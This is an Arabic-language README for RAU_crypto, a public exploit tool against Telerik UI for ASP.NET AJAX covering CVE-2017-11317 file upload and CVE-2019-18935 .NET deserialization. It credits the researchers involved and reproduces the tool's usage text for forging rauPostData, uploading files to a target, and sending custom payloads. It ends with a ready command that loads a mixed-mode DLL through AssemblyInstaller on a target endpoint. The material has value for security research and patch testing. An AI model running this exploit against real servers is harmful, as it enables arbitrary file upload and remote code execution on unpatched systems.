
هذا المشروع يخص CVE-2019-18935
استغلال مدمج لـ Telerik UI لـ ASP.NET AJAX.
لكي يعمل الاستغلال، تحتاج عمومًا إلى إصدار بمفاتيح مشفرة (hard coded keys)، أو تحتاج إلى معرفة المفتاح، على سبيل المثال إذا كان بإمكانك الكشف عن محتويات web.config. يسمح الاستغلال أيضًا بتشفير وفك تشفير rauPostData المستخدم مع Telerik.Web.UI.WebResource.axd?type=rau بشكل مباشر.
pip3 install pycryptodome أو pip3 install pycryptodomexمن المحتمل أن يكون استغلالي الآخر لـ Telerik UI (لـ CVE-2017-9248) ذا فائدة أيضًا. متاح هنا:
ملاحظة - العناصر الأربعة الأخيرة مكتملة ولكن لم يتم إصدارها.
ثغرة تحميل الملف (CVE-2017-11317) تم اكتشافها بواسطة آخرين، أعتقد أن الشكر يعود لـ @straight_blast @pwntester @olekmirosh. بعد فترة وجيزة من الإعلان عنها، صادفت مكتبة Telerik أثناء عملي، لذا قمت بالبحث فيها وفي الثغرة وكتبت هذا الاستغلال في يوليو 2017. كما أبلغت عن CVE-2017-11357 المتعلق بمرجع الكائن المباشر غير الآمن.
ثغرة إلغاء تسلسل .NET (CVE-2019-18935) تم اكتشافها بواسطة @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
ملاحظة: يمكن العثور على الإعدادات المتقدمة مثل المفاتيح المخصصة أو خوارزمية PBKDB من خلال البحث في الكود المصدري عن: ADVANCED_SETTINGS
لقطة شاشة لفك التشفير
لقطة شاشة للتحميل
للحصول على تفاصيل حول الحمولات المخصصة لإلغاء تسلسل .NET، هناك مقال رائع بقلم @mwulftange الذي اكتشف هذه الثغرة على مدونة Code White على الرابط التالي.
روابط أخرى ذات صلة.
مثال على حمولة إلغاء تسلسل .NET:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
لـ DLL الوضع المختلط، انظر مستودع github الآخر الخاص بي:
شكر خاص لـ @irsdl الذي ألهم ميزة الحمولة المخصصة.